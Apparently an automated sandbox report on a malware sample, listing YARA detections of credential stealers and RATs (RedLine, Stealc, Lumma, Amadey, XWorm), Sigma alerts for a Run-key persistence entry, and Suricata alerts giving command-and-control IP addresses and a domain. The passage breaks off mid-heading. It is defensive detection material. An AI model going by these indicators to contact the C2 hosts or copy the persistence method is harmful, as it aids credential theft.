Process Memory Space: svchost015.exe PID: 5268	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: svchost015.exe PID: 5268	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: RegAsm.exe PID: 4816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 4816	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 65 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
31.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
34.0.newbundle2.exe.30000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.0.Nework.exe.930000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.needmoney.exe.3710000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
24.2.needmoney.exe.3740000.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
25.0.penis.exe.ac0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
25.0.penis.exe.ac0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.0.penis.exe.ac0000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x58801:$s1: file:/// 0x58739:$s2: {11111-22222-10009-11112} 0x58791:$s3: {11111-22222-50001-00000} 0x54fb8:$s4: get_Module 0x4ec48:$s5: Reverse 0x4fa7a:$s6: BlockCopy 0x4eb63:$s7: ReadByte 0x58813:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
23.2.stealc_default2.exe.930000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
28.2.crypted.exe.38a5570.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.0.Hkbsse.exe.5a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.needmoney.exe.3710000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
24.2.needmoney.exe.3740000.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
15.2.RegAsm.exe.436080.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.Hkbsse.exe.5a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.needmoney.exe.30fa4b9.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
20.2.Hkbsse.exe.5a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
38.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
38.2.InstallUtil.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8975:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8a12:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8b27:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8507:$cnc4: POST / HTTP/1.1
15.2.RegAsm.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
8.2.gold.exe.4165570.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.RegAsm.exe.436080.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.needmoney.exe.30fa4b9.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
35.2.rstxdhuj.exe.5fa0000.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
23.0.stealc_default2.exe.930000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
17.0.VCIo8iTrPf.exe.ff0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.Nework.exe.930000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.axplong.exe.200000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.axplong.exe.200000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.axplong.exe.200000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.gold.exe.4165570.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.0.Hkbsse.exe.5a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.b50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.2.rstxdhuj.exe.38efdb0.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
35.2.rstxdhuj.exe.38efdb0.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xf9595:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf9632:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf9747:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xf9127:$cnc4: POST / HTTP/1.1
35.2.rstxdhuj.exe.38a1590.4.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
35.2.rstxdhuj.exe.38a1590.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
35.2.rstxdhuj.exe.38a1590.4.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x147db5:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x147e52:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x147f67:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x147947:$cnc4: POST / HTTP/1.1
30.0.svchost015.exe.400000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
30.0.svchost015.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 37 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 2616, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c6f71c9f40.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 2616, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c6f71c9f40.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:45.962539+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49635	172.67.162.108	443	TCP
2024-09-27T16:18:49.219413+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49638	172.67.162.108	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:45.962539+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49635	172.67.162.108	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:49.219413+0200	2049812	1	A Network Trojan was detected	192.168.2.6	49638	172.67.162.108	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:45.648628+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.6	49635	172.67.162.108	443	TCP
2024-09-27T16:18:48.681472+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.6	49638	172.67.162.108	443	TCP

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:15.162678+0200	2043234	1	A Network Trojan was detected	65.21.18.51	45580	192.168.2.6	49610	TCP
2024-09-27T16:18:33.449026+0200	2043234	1	A Network Trojan was detected	89.105.223.196	29862	192.168.2.6	49624	TCP
2024-09-27T16:18:37.965539+0200	2043234	1	A Network Trojan was detected	185.215.113.67	15206	192.168.2.6	49630	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:14.960083+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:20.369995+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:20.955759+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:21.163431+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:21.725602+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:22.054185+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:22.293227+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:22.506862+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:23.750111+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:24.193148+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:24.200427+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:24.846631+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:25.180209+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:25.419064+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:27.727924+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.054519+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.260470+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.476868+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:28.714786+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:30.272540+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:30.476425+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:30.679491+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:31.188159+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:33.250736+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:37.740262+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:38.510970+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:38.895941+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:39.076911+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:41.967419+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:42.201908+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:43.161882+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:43.213619+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:43.334999+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:44.514426+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:44.596256+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:44.709132+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:44.886552+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:44.973328+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.186486+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:45.191537+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:45.202116+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.439637+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.666749+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.901722+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:45.924967+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:46.150883+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:47.893103+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:47.988628+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.123241+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:48.164840+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.338445+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.450690+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:48.510969+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.687870+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:48.772547+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:48.937233+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:49.075721+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:49.164879+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:49.250423+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:49.455805+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:49.628916+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:50.213958+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:51.218494+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:51.648586+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:52.034870+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:52.040041+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:54.209532+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:54.515817+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:54.741661+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:18:54.970460+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:19:00.043736+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP
2024-09-27T16:19:00.691029+0200	2043231	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:20.728088+0200	2046056	1	A Network Trojan was detected	65.21.18.51	45580	192.168.2.6	49610	TCP
2024-09-27T16:18:38.901928+0200	2046056	1	A Network Trojan was detected	89.105.223.196	29862	192.168.2.6	49624	TCP
2024-09-27T16:18:43.443612+0200	2046056	1	A Network Trojan was detected	185.215.113.67	15206	192.168.2.6	49630	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:08.894778+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49604	185.215.113.16	80	TCP
2024-09-27T16:18:11.732430+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49607	185.215.113.16	80	TCP
2024-09-27T16:18:15.676138+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49611	185.215.113.16	80	TCP
2024-09-27T16:18:17.923439+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49614	185.215.113.16	80	TCP
2024-09-27T16:18:24.840132+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49616	185.215.113.16	80	TCP
2024-09-27T16:18:28.092900+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49617	185.215.113.16	80	TCP
2024-09-27T16:18:31.126477+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49622	185.215.113.16	80	TCP
2024-09-27T16:18:34.139141+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49626	185.215.113.16	80	TCP
2024-09-27T16:18:37.710879+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49629	185.215.113.16	80	TCP
2024-09-27T16:18:40.427656+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49632	185.215.113.16	80	TCP
2024-09-27T16:18:42.981795+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49633	185.215.113.16	80	TCP
2024-09-27T16:18:47.159689+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49636	185.215.113.16	80	TCP
2024-09-27T16:18:51.711266+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49640	185.215.113.16	80	TCP
2024-09-27T16:18:57.438058+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49645	185.215.113.16	80	TCP
2024-09-27T16:18:59.517865+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49643	185.215.113.43	80	TCP
2024-09-27T16:19:00.648676+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49648	185.215.113.16	80	TCP
2024-09-27T16:19:02.233566+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49643	185.215.113.43	80	TCP
2024-09-27T16:19:07.544032+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49643	185.215.113.43	80	TCP
2024-09-27T16:19:13.033250+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49643	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:45.101274+0200	2056156	1	Domain Observed Used for C2 Detected	192.168.2.6	62485	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:19.297668+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.17	80	192.168.2.6	49613	TCP
2024-09-27T16:18:40.157684+0200	2044245	1	Malware Command and Control Activity Detected	91.202.233.158	80	192.168.2.6	49631	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:19.291483+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:40.028410+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49631	91.202.233.158	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:19.517973+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:40.429576+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49631	91.202.233.158	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:59.315537+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.6	49631	91.202.233.158	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:20.389340+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:42.710503+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49631	91.202.233.158	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:19.527685+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.17	80	192.168.2.6	49613	TCP
2024-09-27T16:18:40.568196+0200	2044247	1	Malware Command and Control Activity Detected	91.202.233.158	80	192.168.2.6	49631	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:14.960083+0200	2046045	1	A Network Trojan was detected	192.168.2.6	49610	65.21.18.51	45580	TCP
2024-09-27T16:18:33.250736+0200	2046045	1	A Network Trojan was detected	192.168.2.6	49624	89.105.223.196	29862	TCP
2024-09-27T16:18:37.740262+0200	2046045	1	A Network Trojan was detected	192.168.2.6	49630	185.215.113.67	15206	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:19.065609+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:39.759588+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:19:14.059928+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49681	185.215.113.37	80	TCP
2024-09-27T16:19:24.373248+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49723	185.215.113.37	80	TCP
2024-09-27T16:19:27.107685+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49726	185.215.113.37	80	TCP

ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:32.120846+0200	2800029	1	Attempted User Privilege Gain	185.215.113.117	80	192.168.2.6	49623	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:05.880842+0200	2856147	1	A Network Trojan was detected	192.168.2.6	49602	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:08.171128+0200	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.6	49602	TCP
2024-09-27T16:18:59.288493+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49643	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:06.935409+0200	2803305	3	Unknown Traffic	192.168.2.6	49603	185.215.113.117	80	TCP
2024-09-27T16:18:09.535452+0200	2803305	3	Unknown Traffic	192.168.2.6	49605	194.116.215.195	80	TCP
2024-09-27T16:18:12.524994+0200	2803305	3	Unknown Traffic	192.168.2.6	49609	185.215.113.26	80	TCP
2024-09-27T16:18:15.895132+0200	2803305	3	Unknown Traffic	192.168.2.6	49611	185.215.113.16	80	TCP
2024-09-27T16:18:18.625357+0200	2803305	3	Unknown Traffic	192.168.2.6	49615	185.215.113.117	80	TCP
2024-09-27T16:18:25.250146+0200	2803305	3	Unknown Traffic	192.168.2.6	49616	185.215.113.16	80	TCP
2024-09-27T16:18:28.900818+0200	2803305	3	Unknown Traffic	192.168.2.6	49620	185.215.113.117	80	TCP
2024-09-27T16:18:31.870600+0200	2803305	3	Unknown Traffic	192.168.2.6	49623	185.215.113.117	80	TCP
2024-09-27T16:18:34.360369+0200	2803305	3	Unknown Traffic	192.168.2.6	49626	185.215.113.16	80	TCP
2024-09-27T16:18:37.947985+0200	2803305	3	Unknown Traffic	192.168.2.6	49629	185.215.113.16	80	TCP
2024-09-27T16:18:40.909053+0200	2803305	3	Unknown Traffic	192.168.2.6	49632	185.215.113.16	80	TCP
2024-09-27T16:18:43.781655+0200	2803305	3	Unknown Traffic	192.168.2.6	49634	185.215.113.103	80	TCP
2024-09-27T16:18:47.915090+0200	2803305	3	Unknown Traffic	192.168.2.6	49637	185.215.113.103	80	TCP
2024-09-27T16:18:51.935645+0200	2803305	3	Unknown Traffic	192.168.2.6	49640	185.215.113.16	80	TCP
2024-09-27T16:18:58.276248+0200	2803305	3	Unknown Traffic	192.168.2.6	49646	104.21.64.194	443	TCP
2024-09-27T16:19:03.042593+0200	2803305	3	Unknown Traffic	192.168.2.6	49651	185.215.113.103	80	TCP
2024-09-27T16:19:08.648586+0200	2803305	3	Unknown Traffic	192.168.2.6	49659	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

